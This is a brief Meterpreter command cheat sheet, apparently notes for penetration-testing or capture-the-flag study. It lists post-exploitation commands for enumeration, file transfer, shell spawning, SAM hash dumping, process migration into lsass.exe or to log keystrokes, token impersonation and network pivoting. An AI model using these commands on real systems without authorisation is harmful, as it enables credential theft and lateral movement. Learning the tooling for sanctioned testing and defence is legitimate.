https://github.com/rapid7/meterpreter

METERPRETER Enumeration

sysinfo
Info about the system.

getuid
Get current user.

getenv
Get one or more environment variable values.

search -f flag.txt
Search a file on the machine.

METERPRETER File Upload

upload
Upload a file or directory.

download
Download a file or directory.

METERPRETER Spawn Shell

shell
Spawn a shell.

load powershell
powershell_shell
Spawn Powershell.

METERPRETER Attacks

hashdump
Dump hashes from Windows SAM base (for linux use module linux/gather/hashdump).

migrate 716 Migrate to another process. Ex : Migrate to a word.exe and act like a keylogger. Ex: Migrate to lsass.exe to run hashdump.

METERPRETER Impersonate

When SeDebugPrivilege and SeImpersonatePrivilege are enabled, we can impersonate another user.

load incognito
list_tokens -g
List tokens.

impersonate_token "BUILTIN\Administrators"
Impersonate token.

To determine rights, Windows uses the Primary Token of the process and not the impersonated token. So we have to migrate to a process with correct permissions.

The safest to pick is services.exe.

migrate 668
Migrate to process 668.

METERPRETER Pivoting

When we have a meterpreter shell on a machine that has access to another network, we can use it to gain access to the 2nd network.

run autoroute -s [REMOTE_NETWORK]/24
Create a route via the host that we had access to.

run autoroute -p
Show added routes.